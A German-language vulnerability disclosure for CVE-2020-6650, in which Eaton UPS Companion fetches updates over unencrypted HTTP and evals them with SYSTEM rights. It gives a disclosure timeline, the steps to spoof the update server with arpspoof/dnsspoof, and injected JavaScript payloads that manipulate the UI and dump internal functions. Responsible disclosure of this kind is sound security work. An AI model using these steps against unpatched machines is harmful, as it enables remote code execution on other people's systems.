
Dieses Repository beschreibt CVE-2020-6650, eine Sicherheitslücke, die ich in Eaton's UPS Companion entdeckt habe. Alle Benutzer sollten sofort auf v1.06 aktualisieren, da sie sonst Gefahr laufen, dass ihr System aus der Ferne administrativ zugegriffen wird.
Die Eaton UPS Companion Software überprüft jede Woche auf ein Update über eine unsichere HTTP-Verbindung und führt eval() auf den Inhalt der Update-URL aus. Dadurch kann ein Angreifer eine JavaScript-Funktion erstellen, die die bereits in der Backend-Software vorhandenen Low-Level-OS-Operationen nutzt, wie Dateiausführung, Netzwerk-Sockets und Dateisystem-I/O. Alle diese Operationen erfolgen mit NT AUTHORITY\SYSTEM-Berechtigungen, wahrscheinlich aufgrund der Berechtigungen, die eine USV (Unterbrechungsfreie Stromversorgung) für die Systemverwaltung benötigt. Nach einer gewissen Wartezeit erfolgt mühelos eine automatische Befehlsinjektion, die eine SYSTEM-Shell gewährt.
Dies wurde in Version 1.06 behoben und die zugewiesene CVE-ID ist CVE-2020-6650.
| Fehler bemerkt | 2019/10/25 - 21:43 |
| Exploit realisiert | 2019/12/28 - 06:28 |
| An Eaton gemeldet | 2019/12/28 - 10:00 |
| Bestätigt | 2019/12/30 - 22:05 |
| Einfacher PoC gesendet | 2020/01/04 - 03:32 |
| Wird gepatcht | 2020/01/21 - 12:54 |
| Gepatcht | 2020/03/21 - 12:21 |
Danke an Eaton, dass sie die Offenlegung dieses Exploits einfach gemacht haben.
Eaton UPS Companion erhält Updates von http://pqsoftware.eaton.com/upgrade/upgrade_euc.info
Problem 1: Kann leicht über dsniffs arpspoof und dnsspoof gefälscht werden, dann python -m http.server 80.
Problem 2: Fehlendes HTTPS eröffnet einen weiteren Angriffsvektor für denselben Effekt.
Stand 2019/10/25 - 22:08 ist dies der Inhalt des Links:
// CHECK: |12ef94bf01265a99b04bab6263bbc0eba652ec3e|
{
"EUC":
{
"WINDOWS":
{
"version": "1.04.017",
"packageURL": "install/win32/euc/euc_win_1_04_017.exe",
"info": "New release<br />More information here: <a href='http://pqsoftware.eaton.com' target='_blank'>Link to Eaton site</a><br />"
}
}
}
Ich kann nicht herausfinden, wie die SHA1-Prüfsumme für die Datei berechnet wird oder was zur Berechnung verwendet wird, aber dies würde die Sache viel einfacher machen.
Eaton UPS Companion erstellt einen lokalen HTTP-Server unter http://localhost:4679.
Ein Klick auf "Version: Eaton UPS Companion v1.05" öffnet ein "verstecktes" Debug-Log unter http://localhost:4679/trace.html.
Es kann auch über ".\mc2.exe -start -debug" in cmd.exe geöffnet werden.
Das Ausliefern einer leeren HTML-Seite verursacht einen auffälligen Fehler, der protokolliert wird:
2019/10/25-21:32:29.051 | UpdateManager | !!! ERROR: Update data could not be parsed:
{
"message": "syntax error",
"fileName": "scripts/libs/json.js",
"lineNumber": 122,
"stack": "()@:0\neval(\"()\")@:0\n(\"\") . . .
"name": "SyntaxError"
}
Hier wird eval() verwendet, was es einfacher für uns macht. Hier ist ein Beispiel für UI-Manipulation, bei dem der folgende Inhalt in update_euc.info eingefügt wird.
UIManager.setCmd({action:'showMessage', id:'softwareUpgradeMessage', msg:System.getProductInfo(L('/Install/ServerUnreachable')), buttons:{ok:'/Misc/OK'}})
Dies kann dank anonymer Funktionen in eine ordentliche Funktion umgewandelt werden:
(function() {
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L('Ravjot was here 1.')), buttons:{ok:'Game Over 1'}});
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L('Ravjot was here 2.')), buttons:{ok:'Game Over 2'}});
})()
Ich glaube, es könnte auch Zugriff auf ShutdownManager geben, was nicht gut ist.
Ein Aufruf von http://localhost:4679/server/data_srv.js?action=init enthüllt weitere Informationen darüber, wie das System funktioniert.
Reguläre JS-Funktionen wie alert() existieren nicht, und Objekte wie document, console und object existieren ebenfalls nicht. Wirklich alte ECMAScript-Edition oder so? Auch kein let-Schlüsselwort, nur var.
Das könnte helfen:
"stack": "()@:0\neval(\"()\")@:0\n(\"\")@scripts/libs/json.js:122\n((function (upgradeStatus) {trace(\"ui_cgf\", \"Check upgrade returns: '{0}'\", upgradeStatus);if (upgradeStatus == \"NEW_VERSION\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:S(L(\"/Install/SoftwareUpgradeLaunch\"), UpdateManager.updateData.version), buttons:{yes:\"/Misc/Yes\", no:\"/Misc/No\"}});} else if (upgradeStatus == \"UP_TO_DATE\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:L(\"/Install/NoSoftwareUpgradeAvailable\"), buttons:{ok:\"/Misc/OK\"}});} else if (upgradeStatus == \"SERVER_UNREACHABLE\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:System.getProductInfo(L(\"/Install/ServerUnreachable\")), buttons:{ok:\"/Misc/OK\"}});}}))@scripts/managers/update_manager.js:175\n(\"\")@scripts/configs/ui_cfg.js:1058\n([object Object])@scripts/managers/ui_manager.js:55\nsendData([object Object])@/server/data_srv.js:75\n([object Object],[object Object])@/server/data_srv.js:82\n([object Object])@scripts/libs/http_server.js:274\ncall([object Object],[object Object])@:0\n()@scripts/libs/core/thread.js:136\n@runThread:1\n",
UIManager.setCmd({action:'showMessage', id:'softwareUpgradeMessage', msg:S(L('/Install/SoftwareUpgradeLaunch'), UpdateManager.updateData.version), buttons:{yes:'/Misc/Yes', no:'/Misc/No'}});
Ich kann alle Eigenschaften der "Manager"-Objekte sehen, z.B. UpdateManager über:
(function() {
for (var property in UpdateManager) {
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(property + " IS " + UpdateManager[property]), buttons:{ok:'Game Over'}});
}
})()
Das auf dem UpdateManager ausgeführt, ergab diese sehr interessanten Funktionen:
selfUpdate IS function () {\n var packagePath = UpdateManager.retrievePackage();\n if (packagePath) {\n ThreadPool.run(function () {var adminOK = System.getAdminRights();if (adminOK) {var installCmd = S(\"?/?\", File.getCurrentWorkingDir(), packagePath);var installPrm = \"-install -silent\";if (!File.status(\"scripts\")) {debug(\"UpdateManager\", \"Launching update package '? ?' ...\", installCmd, installPrm);System.open(installCmd, installPrm);} else {debug(\"UpdateManager\", \"Launching update package '? ?' muted\", installCmd, installPrm);}} else {error(\"UpdateManager\", \"Unable to get admin rights to launch upgrade\");}});\n }\n}